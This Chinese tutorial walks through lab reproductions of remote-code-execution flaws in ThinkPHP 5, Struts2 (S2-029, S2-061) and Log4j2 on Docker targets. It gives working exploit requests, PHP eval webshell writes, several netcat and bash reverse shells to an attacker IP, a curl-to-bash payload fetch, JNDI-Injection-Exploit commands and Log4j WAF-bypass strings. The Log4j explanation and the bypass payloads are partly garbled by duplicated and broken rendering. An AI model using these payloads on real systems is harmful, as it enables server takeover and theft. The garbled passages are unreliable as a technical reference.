热门框架漏洞

文章目录

  • 一、Thinkphp5.0.23 代码执行
    • 1.thinkphp5框架
    • 2.thinkphp5高危漏洞
    • 3.漏洞特征
    • 4.THinkphp5.0 远程代码执行--poc
    • 5.TP5实验一(Windows5.0.20)
      • a.搭建实验环境
      • b.测试phpinfo
      • c.写入shell
      • d.使用菜刀连接
    • 6.TP5实验二(Linux5.0.23)
      • a.搭建实验环境
      • b.测试方法
      • c.测试phpinfo
      • d.写入shell
      • e.反弹shell
        • 方法一
        • 方法二
        • 方法三
    • 7.任务:靶场thinkphp漏洞复现
  • 二、Struts2远程代码执行
    • 1.漏洞介绍
    • 2.Struts2执行代码的原理
    • 3.Struts2框架特征
    • 4.S2-029漏洞复现(实验)
      • 2)启动漏洞环境
      • 3)访问http://192.168.25.174:8080/default.action
      • 4)利用方法
        • 方法一:工具利用
        • 方法二:手工利用
      • 5)复现任务
        • S2-61
        • S2-45
        • S2-46
  • 三、log4j2远程代码执行
    • 1.漏洞介绍
    • 2.LDAP和JNDI
    • 3.漏洞原理
    • 4.*log4j2-漏洞复现(实验)
      • 1)拉取docker环境
      • 2)启动环境-查看镜像
      • 3)启动并端口映射
      • 4)测试步骤
        • 1)正常来测试,发现这里主要对{}产生过滤。
        • 2)将payload进行url编码。
    • 5.4.log4j2-漏洞验证(实验)
      • 1)拉取docker环境
      • 2)启动环境-查看镜像
      • 3)启动并端口映射
      • 4)测试步骤
    • 5.log4j2-漏洞利用(实验)
      • 1)准备JNDI注入工具
      • 2)准备shell代码
      • 3)攻击机启动监听用于获取shell
      • 4)启动JNDI-Injection-Exploit
      • 5)传递payload
      • 6)JNDI接收请求
      • 7)反弹shell
    • 6.log4j漏洞防护
      • 1.升级最新版本的log4j组件
      • 2.临时处理,过滤${},避免被执行命令
    • 7.poc

一、Thinkphp5.0.23 代码执行

1.thinkphp5框架

在这里插入图片描述

2.thinkphp5高危漏洞

在这里插入图片描述

根据ThinkPHP版本,如是5.x版本,即可使用ThinkPHP 5.x远程代码执行漏洞,无需登录,即可执行任意命令,获取服务器最高权限。
在这里插入图片描述

3.漏洞特征

在这里插入图片描述在这里插入图片描述

4.THinkphp5.0 远程代码执行–poc

Windows:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
POC参数解析
method=get 因为captcha的路由规则是get方式下的,所以我们得让method为get,才能获取到captcha的路由
s=captcha 因为在进入exec函数后我们要switch到method中执行param函数,而这个captcha的路由刚好对应类型为method,所以我们选择captcha
filter[]=system 覆盖变量
get[]=whoami 覆盖变量
_method=__construct 为了能够进入construct,从而覆盖变量
在这里插入图片描述在这里插入图片描述

5.TP5实验一(Windows5.0.20)

a.搭建实验环境

_method=__construct&filter[]=system&method=get&get[]=whoami
在这里插入图片描述

b.测试phpinfo

利用system函数远程命令执行,通过phpinfo函数查看phpinfo()的信息;
写入phpinfo();
/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo “<?php phpinfo(); ?>” > 1.php
在这里插入图片描述

c.写入shell

查看是否成功的写入shell
/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php
在这里插入图片描述

d.使用菜刀连接

在这里插入图片描述

6.TP5实验二(Linux5.0.23)

a.搭建实验环境

在这里插入图片描述

cd ~5-rce
docker-compose up -d拉取靶场

在这里插入图片描述在这里插入图片描述

b.测试方法

_method=__construct&filter[]=system&method=get&get[]=id
在这里插入图片描述

TP5的验证码在/vendor/topthink/think-captcha 目录下,文件分别是Captcha.php 、CaptchaController.php 和helper.php 三个文件。可以直接通过http://localhost/项目名称/public/index.php/captcha 来进行访问。

_method=__construct&filter[]=system&method=get&get[]=pwd
在这里插入图片描述

_method=__construct&filter[]=system&method=get&get[]=whoami
在这里插入图片描述

c.测试phpinfo

_method=__construct&filter[]=system&method=get&get[]=echo “<?php phpinfo(); ?>” > 1.php
在这里插入图片描述

Linux5.0.20测试方法
http://192.168.25.174:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1`
在这里插入图片描述

d.写入shell

_method=__construct&filter[]=system&method=get&get[]=echo “<?php @eval($_POST["fname"]);?>” >shell.php
在这里插入图片描述

可以看出shell.php已经上传成功
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval( P O S T [ c m d ] ) ; ? > > s h e l l . p h p 发现 _POST[cmd]);?^> >shell.php 发现 POST[cmd]);?>>shell.php发现_POST被删除了,引号也没了
在这里插入图片描述

如下改动后解决问题
_method=__construct&filter[]=system&method=get&get[]=echo “<?php @eval(\$_POST['fname']);?>” >shell.php

在这里插入图片描述

e.反弹shell

方法一

控制端输入
nc -lvvp 6666
被控端输入
nc -c /bin/bash 192.168.25.174 6666
在这里插入图片描述

控制端得到shell,此处执行ls命令
在这里插入图片描述

方法二

攻击机开启2个终端
分别输入nc -lvvp 2333和nc -lvvp 3333,一个输入一个输出
被攻击机输入
nc 192.168.25.174 2333 | /bin/bash | nc 192.168.25.174 3333
然后nc -lvvp 2333里执行命令ls,可以看到nc -lvvp 3333收到返回结果
在这里插入图片描述

方法三

首先本机创建文件shell.sh,放到本机WWW根目录
在这里插入图片描述

bash -i >& /dev/tcp/192.168.33.2/1111 0>&1

cmd下开启两个终端
nc.exe -lvvp 2333 -e cmd.exe用于监听输入
在这里插入图片描述

nc -lvp 1111用于获取输出
然后网页里输入
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl 192.168.33.2/shell.sh|bash
在这里插入图片描述

执行后即可在本机获取shell,此处是ls的查询结果
在这里插入图片描述

7.任务:靶场thinkphp漏洞复现

https://vulhub.org/#/environments/
在这里插入图片描述

tp5 poc参考大全
https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection

二、Struts2远程代码执行

1.漏洞介绍

Struts2漏洞是一个经典的漏洞系列,根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前困难很多,从实际了解的情况来看,大部分用户早就修复了历史的高危漏洞。目前在做渗透测试时,Struts2漏洞主要也是碰碰运气,或者是打到内网之后用来攻击没打补丁的系统会比较有效。

2.Struts2执行代码的原理

Struts2的动态性在于ongl表达式可以获取到运行变量的值,并且有机会执行函数调用。如果可以把恶意的请求参数送到ognl的执行流程中,就会导致任意代码执行漏洞。
struts2的rce本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的OGNL表达式,造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等,只不过需要精心构造不同的OGNL代码而已。

3.Struts2框架特征

查看被测应用系统的源码,URL接口地址以“.action”“.do”结尾或地址中包含“!”符号,或者在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下的jar文件,若存在struts2-core-2..**.jar或xwork-core-2..**.jar格式的jar文件,则需检测是否存在Struts2远程代码执行漏洞。

4.S2-029漏洞复现(实验)

原理:Struts2的标签库使用OGNL表达式来访问ActionContext中的对象数据。为了能够访问到ActionContext中的变量,Struts2将ActionContext设置为OGNL的上下文,并将OGNL的跟对象加入ActionContext中。
在Struts2中,如下的标签就调用了OGNL进行取值。

parameters:

Struts2会解析value中的值,并当作OGNL表达式进行执行,获取到parameters对象的msg属性。S2-029仍然是依靠OGNL进行远程代码执行。 影响版本:Struts 2.0.0 -2.3.24.1(不包括2.3.20.3) 复现步骤: ### 1)拉取漏洞环境镜像到本地 命令:docker pull medicean/vulapps:s_struts2_s2-029 ![在这里插入图片描述](https://img-blog.csdnimg.cn/5cfbd59c03c144528c96bc2c88fdb207.png)

2)启动漏洞环境

命令:docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-029
在这里插入图片描述

3)访问http://192.168.25.174:8080/default.action

在这里插入图片描述

4)利用方法

方法一:工具利用

在这里插入图片描述在这里插入图片描述

LiqunKit_1.5.jar
在这里插入图片描述在这里插入图片描述

方法二:手工利用

poc:
(%23_memberAccess[‘allowPrivateAccess’]=true,%23_memberAccess[‘allowProtectedAccess’]=true,%23_memberAccess[‘excludedPackageNamePatterns’]=%23_memberAccess[‘acceptProperties’],%23_memberAccess[‘excludedClasses’]=%23_memberAccess[‘acceptProperties’],%23_memberAccess[‘allowPackageProtectedAccess’]=true,%23_memberAccess[‘allowStaticMethodAccess’]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream()))
注意:有些利用的时候要记得url编码
在这里插入图片描述

5)复现任务

S2-61

先切换到vulhub指定目录,记得清理占用
在这里插入图片描述

docker-compose up -d拉取镜像
在这里插入图片描述在这里插入图片描述在这里插入图片描述

使用dnslog进行请求,发现存在回显,说明存在漏洞
POC:%{(#instancemanager=#application[“org.apache.tomcat.InstanceManager”]).(#stack=#attr[“com.opensymphony.xwork2.util.ValueStack.ValueStack”]).(#bean=#instancemanager.newInstance(“org.apache.commons.collections.BeanMap”)).(#bean.setBean(#stack)).(#context=#bean.get(“context”)).(#bean.setBean(#context)).(#macc=#bean.get(“memberAccess”)).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(“java.util.HashSet”)).(#bean.put(“excludedClasses”,#emptyset)).(#bean.put(“excludedPackageNames”,#emptyset)).(#arglist=#instancemanager.newInstance(“java.util.ArrayList”)).(#arglist.add(“ping dnslog的域名”)).(#execute=#instancemanager.newInstance(“freemarker.template.utility.Execute”)).(#execute.exec(#arglist))}

在这里插入图片描述

需先将GET改成POST,然后在下面添加
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 831

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name=“id”
和poc

POC:%{(#instancemanager=#application[“org.apache.tomcat.InstanceManager”]).(#stack=#attr[“com.opensymphony.xwork2.util.ValueStack.ValueStack”]).(#bean=#instancemanager.newInstance(“org.apache.commons.collections.BeanMap”)).(#bean.setBean(#stack)).(#context=#bean.get(“context”)).(#bean.setBean(#context)).(#macc=#bean.get(“memberAccess”)).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(“java.util.HashSet”)).(#bean.put(“excludedClasses”,#emptyset)).(#bean.put(“excludedPackageNames”,#emptyset)).(#arglist=#instancemanager.newInstance(“java.util.ArrayList”)).(#arglist.add(“id”)).(#execute=#instancemanager.newInstance(“freemarker.template.utility.Execute”)).(#execute.exec(#arglist))}
在这里插入图片描述

S2-45

在这里插入图片描述

docker-compose up -d
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

下载路径/var/lib/docker/overlay2
在这里插入图片描述在这里插入图片描述

S2-46

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

三、log4j2远程代码执行

1.漏洞介绍

log4j2是全球使用广泛的java日志框架,同时该漏洞还影响很多全球使用量的Top序列的通用开源组件。log4j2远程代码执行漏洞主要由于存在JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。注意,此漏洞是可以执行任意代码,这就很恐怖,相当于黑客已经攻入计算机,可以为所欲为了,就像已经进入你家,想干什么,就干什么,比如运行什么程序,植入什么病毒,变成他的肉鸡。
在这里插入图片描述

影响版本
Log4j2.x<=2.14.1

2.LDAP和JNDI

LDAP全称是Lightweight Directory Access Protocol( 轻型目录访问协议),LDAP可以理解是一个简单存储数据的数据库
LDAP有一个客户端和服务器端,server端是用来存放资源,client端主要用于查询等操作。服务端都是有各大厂商的产品的比如Microsoft的AD,当然可以自己做。客户端通过LDAP协议去访问服务器端。
所以上述的payload ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}就相当于ldap通过jndi来提供服务。xxx.xxx.xxx.xxx这个是LDAP服务器端的IP地址,LDAP服务器是默认开启1389端口的,Exp是一个不存在的文件名
JNDI :JAVA NAMING AND Directory interface,Java命名和目录接口),则是Java中用于访问LDAP的API,是为了Java程序访问命名服务和目录服务而提供的统一API。

3.漏洞原理

我们在很多漏洞复现文章看到构造的payload是这样的 j n d i : l d a p : / / x x x . x x x . x x x . x x x : 1389 / E x p , 该漏洞是由于 A p a c h e L o g 4 j 2 某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。 L o g 4 j 2 组件在处理程序日志记录时存在 J N D I 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发 L o g 4 j 2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。 L o g 4 j 2 漏洞总的来说就是:因为 L o g 4 j 2 默认支持解析 l d a p / r m i 协议(只要打印的日志中包括 l d a p / r m i 协议即可),并会通过名称从 l d a p 服务端其获取对应的 C l a s s 文件,并使用 C l a s s L o a d e r 在本地加载 L d a p 服务端返回的 C l a s s 类。 A p a c h e L o g 4 j 远程代码执行漏洞,正是由于组件存在 J a v a J N D I 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 A p a c h e L o g 4 j 2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。利用 j n d i 访问 l d a p 服务后, l d a p 服务返回了 c l a s s 攻击代码,被攻击的服务器执行了攻击代码。远程代码执行漏洞,是利用了 L o g 4 j 2 可以对日志中的“ {jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}, 该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。 Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。 Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。 Apache Log4j 远程代码执行漏洞,正是由于组件存在Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。 利用jndi访问ldap服务后,ldap服务返回了class攻击代码,被攻击的服务器执行了攻击代码。 远程代码执行漏洞,是利用了Log4j2可以对日志中的“ jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp,该漏洞是由于ApacheLog4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。ApacheLog4j远程代码执行漏洞,正是由于组件存在JavaJNDI注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发ApacheLog4j2中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。利用jndi访问ldap服务后,ldap服务返回了class攻击代码,被攻击的服务器执行了攻击代码。远程代码执行漏洞,是利用了Log4j2可以对日志中的{}”进行解析执行,来进行攻击的。

4.*log4j2-漏洞复现(实验)

1)拉取docker环境

docker pull vulfocus/log4j2-rce-2021-12-09

2)启动环境-查看镜像

docker images
在这里插入图片描述

3)启动并端口映射

docker run -d -p 8080:8080 vulfocus/log4j2-rce-2021-12-09

在这里插入图片描述

4)测试步骤

1)正常来测试,发现这里主要对{}产生过滤。

2)将payload进行url编码。

生成你自己的DNSlog并将生成的地址替换进payload=${jndi:ldap://DNSLog/exp},然后发生数据给靶机。
在这里插入图片描述

/hello?payload=${jndi:ldap://p5pok7.dnslog.cn/exp}显示400,即错误的请求。

在这里插入图片描述在这里插入图片描述在这里插入图片描述

回到DNSLog页面刷新Refresh Record 便能查询道靶机递归查询日志的记录。
Log4J2漏洞的危害便是能够远程执行代码,并且采用此框架件的厂商众多,造成的危害面广
在这里插入图片描述

5.4.log4j2-漏洞验证(实验)

1)拉取docker环境

docker pull vulfocus/log4j2-rce-2021-12-09

2)启动环境-查看镜像

docker images

3)启动并端口映射

docker run -tid -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
在这里插入图片描述在这里插入图片描述

点击链接后
在这里插入图片描述

4)测试步骤

1)正常来测试,发现这里主要对{}产生过滤。
2)将payload进行url编码。
生成你自己的DNSlog并将生成的地址替换进payload=${jndi:ldap://DNSLog/exp},然后发生数据给靶机。

需进行URL编码
在这里插入图片描述

http://192.168.25.174:8080/hello?payload=%24%7Bjndi%3Aldap%3A%2F%2F42kopn.dnslog.cn%2Fexp%7D
执行后dnslog收到数据
在这里插入图片描述

Log4J2漏洞的危害便是能够远程执行代码,并且采用此框架件的厂商众多,造成的危害面广

5.log4j2-漏洞利用(实验)

利用JNDI注入工具在攻击机上开启JNDI服务器
攻击机IP:192.168.33.2
被攻击机IP:192.168.25.174

1)准备JNDI注入工具

git clone https://gitee.com/Lemon_i/JNDI-Injection-Exploit.git
在这里插入图片描述

2)准备shell代码

利用JNDI注入反弹shell,并将命令进行base64编码,不然可能会报错
bash -i >& /dev/tcp/攻击主机IP/端口 0>&1
在这里插入图片描述

3)攻击机启动监听用于获取shell

nc -lvp 1111
在这里插入图片描述

4)启动JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,base64编码后的shell}|{base64,-d}|{bash,-i}” -A 攻击主机IP
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMzLjIvMTExMSAwPiYx}|{base64,-d}|{bash,-i}” -A 192.168.33.2
注释:-C是执行的bash命令,后面是执行的具体命令,用双引号引起来-A 指服务器的IP
因为JDK版本的问题,我们选择的链接是rmi://192.168.33.2:1099/uimfib
注意:这个链接每次运行JNDI-Injection-Exploit 时都会变化
在这里插入图片描述

5)传递payload

打开浏览器,用get传递payload,payload=${jndi:rmi://192.168.33.2:1099/uimfib}
进行URL编码为payload=%24%7Bjndi%3Armi%3A%2F%2F192.168.33.2%3A1099%2Fuimfib%7D
在这里插入图片描述在这里插入图片描述

6)JNDI接收请求

在这里插入图片描述

7)反弹shell

可以看出已经成功反弹shell
在这里插入图片描述

6.log4j漏洞防护

1.升级最新版本的log4j组件

2.临时处理,过滤${},避免被执行命令

7.poc

${jndi:ldap://xxx.dnslog.cn/poc}
waf绕过
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{::-j} : : − n {::-n} ::n{::-d} : : − i : {::-i}: ::i:{::-r} : : − m {::-m} ::m{::-i}😕/xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{::-j}ndi:rmi://xxx.dnslog.cn/poc}
${jndi:rmi://xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:jndi}😒{lower:rmi}😕/xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:KaTeX parse error: Expected 'EOF', got '}' at position 13: {lower:jndi}}̲:{lower:rmi}😕/xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:j} l o w e r : n {lower:n} lower:n{lower:d}i:${lower:rmi}😕/xxx.dnslog.cn/poc}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/118327.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

小程序快速备案助手代备案小程序开发

小程序快速备案助手代备案小程序开发 用户注册与登录&#xff1a;用户可以通过手机号或其他方式进行注册和登录&#xff0c;以便进行备案相关操作。备案信息填写&#xff1a;用户可以填写小程序的备案信息&#xff0c;包括小程序名称、小程序服务类目、域名等。备案材料上传&a…

ODC现已开源:与开发者共创企业级的数据库协同开发工具

OceanBase 开发者中心&#xff08;OceanBase Developer Center&#xff0c;以下简称 ODC&#xff09;是一款开源的数据库开发和数据库管理协同工具&#xff0c;从首个版本上线距今已经发展了三年有余&#xff0c;ODC 逐步由一款专为 OceanBase 打造的开发者工具演进成为支持多数…

香橙派Orangepi Zero2 刷机步骤

目录 1.香橙派Orangepi Zero2简介 2.刷机 2.1物料准备 2.2 格式化SD卡 2.3 烧录镜像到SD卡 2.4 安装SD卡到Orangepi 2.5 连接Pi电源 2.6 MobaXterm 串口登陆Orangepi 2.6.1 连线示意图 2.6.2 MobaXterm 使用 2.6.3修改登陆密码 2.6.4 网络配置 2.7 SSH登陆开发版…

14 mysql bit/json/enum/set 的数据存储

前言 这里主要是 由于之前的一个 datetime 存储的时间 导致的问题的衍生出来的探究 探究的主要内容为 int 类类型的存储, 浮点类类型的存储, char 类类型的存储, blob 类类型的存储, enum/json/set/bit 类类型的存储 本文主要 的相关内容是 bit/json/enum/set 类类型的相关…

中心差分法-学习笔记《结构动力学-陈政清》

激励分段解析法仅仅对外载荷进行了离散&#xff0c;但对运动方程还是严格满足的&#xff0c;体系的运动在时间轴上依然是满足运动微分方程。然而&#xff0c;一般的时域逐步积分法进一步放松要求&#xff0c;不仅仅对外荷载进行离散化处理&#xff0c;也对体系的运动进行离散化…

c++入门一

参考&#xff1a;https://www.learncpp.com/cpp-tutorial/ When you finish, you will not only know how to program in C, you will know how NOT to program in C, which is arguably as important. Tired or unhappy programmers make mistakes, and debugging code tends…

Swift 如何从图片数据(Data)检测原图片类型?

功能需求 如果我们之前把图片对应的数据(Data)保持在内存或数据库中,那么怎么从 Data 对象检测出原来图片的类型呢? 如上图所示:我们将 11 张不同类型的图片转换为 Data 数据,然后从 Data 对象正确检测出了原图片类型。 目前,我们的代码可以检测出 jpeg(jpg), tiff,…

逻辑回归Logistic

回归 概念 假设现在有一些数据点&#xff0c;我们用一条直线对这些点进行拟合&#xff08;这条直线称为最佳拟合直线&#xff09;&#xff0c;这个拟合的过程就叫做回归。进而可以得到对这些点的拟合直线方程。 最后结果用sigmoid函数输出 因此&#xff0c;为了实现 Logisti…

K8S自动化运维容器化(Docker)集群程序

K8S自动化运维容器化集群程序 一、K8S概述1.什么是K8S2.为什么要用K8S3.作用及功能 二、K8S的特性1.弹性伸缩2.自我修复3.服务发现和负载均衡4.自动发布和回滚5.集中化配置管理和秘钥管理6.存储编排7.任务批量处理运行 三、K8S的集群架构1.架构2.模式3.工作4.流程图 四、K8S的核…

如何解决vue3.0+typescript项目提示找不到模块“./App.vue

一、解决方案如下&#xff1a;需在项目目录下加上下面这段代码即可&#xff01;如果没有vite-env.d.ts目录需要继续往下看 declare module *.vue {import type { DefineComponent } from vueconst vueComponent: DefineComponent<{}, {}, any>export default vueCompon…

TBOX开发需求说明

TBOX功能需求&#xff1a; 支持4G上网功能&#xff0c;可获取外网IP&#xff0c;可和云端平台连通支持路由功能&#xff0c;支持计算平台、网关和云端平台建立网络连接支持USB转网口&#xff0c;智能座舱会通过USB连接AG35建立网络连接&#xff08;类似IVI通过USB口连接TBOX&a…

前端面试中Vue的有经典面试题二

7. Vue中给data中的对象属性添加一个新的属性时会发生什么&#xff0c;如何解决&#xff1f; 示例&#xff1a; 点击button会发现&#xff0c; obj.b 已经成功添加&#xff0c;但是视图并未刷新&#xff1a; 原因在于在Vue实例创建时&#xff0c; obj.b 并未声明&#xff0c;因…

SQL求解用户连续登录天数

数据分析面试过程中&#xff0c;一般都逃不掉对SQL的考察&#xff0c;可能是笔试的形式&#xff0c;也可能是面试过程中面试官当场提问&#xff0c;当场在纸上写出&#xff0c;或者简单说一下逻辑。 今天&#xff0c;就来分享一道面试中常常被问到的一类SQL问题&#xff1a;连…

推荐个一行代码的Python可视化神器

学过Python数据分析的朋友都知道&#xff0c;在可视化的工具中&#xff0c;有很多优秀的三方库&#xff0c;比如matplotlib&#xff0c;seaborn&#xff0c;plotly&#xff0c;Boken&#xff0c;pyecharts等等。这些可视化库都有自己的特点&#xff0c;在实际应用中也广为大家使…

在springboot中配置mybatis(mybatis-plus)mapper.xml扫描路径的问题

我曾经遇到过类似问题&#xff1a; mybatis-plus的mapper.xml在src/main/java路径下如何配置pom.xml和application.yml_idea 把mapper文件放到java下如何配置_梓沂的博客-CSDN博客 当时只是找到解决问题的办法&#xff0c;但对mybatis配置来龙去脉并未深入了解&#xff0c;所…

操作系统备考学习 day1 (1.1.1-1.3.1)

操作系统备考学习 day1 计算机系统概述操作系统的基本概念操作系统的概念、功能和目标操作系统的四个特征并发共享虚拟异步 操作系统的发展和分类操作系统的运行环境操作系统的运行机制 年初做了一个c的webserver 的项目&#xff0c;在学习过程中已经解除部分操作系统的知识&am…

解决Debian系统通过cifs挂载smb后,中文目录乱码问题

解决Debian系统通过cifs挂载smb后&#xff0c;中文目录乱码问题 //$smb_server/share /mnt/nas_share cifs credentials/root/.smbcredentials,iocharsetutf8 0 0默认通过以上命令挂载smb&#xff0c;但是在查看文件目录时&#xff0c;中文乱码 解决问题方式&#xff1a; de…

C语言——指针基本语法

概述 内存地址 在计算机内存中&#xff0c;每个存储单元都有一个唯一的地址(内存编号)。 通俗理解&#xff0c;内存就是房间&#xff0c;地址就是门牌号 指针和指针变量 指针&#xff08;Pointer&#xff09;是一种特殊的变量类型&#xff0c;它用于存储内存地址。 指针的实…

iOS脱壳之frida-ios-dump

frida-ios-dump介绍 该工具基于frida提供的强大功能通过注入js实现内存dump然后通过python自动拷贝到电脑生成ipa文件&#xff0c;适合现iOS11版本之后的越狱手机使用。 下载 https://github.com/AloneMonkey/frida-ios-dump环境安装 电脑环境安装 win和Mac 环境一样都是…

美创科技一体化智能化公共数据平台数据安全建设实践

公共数据是当今政府数字化转型的关键要素和未来价值释放的核心锚点&#xff0c;也是“网络强国”、“数字中国”的战略性资源。 作为数字化改革先行省份&#xff0c;近年来&#xff0c;浙江省以一体化智能化公共数据平台作为数字化改革的支撑总平台&#xff0c;实现了全省公共数…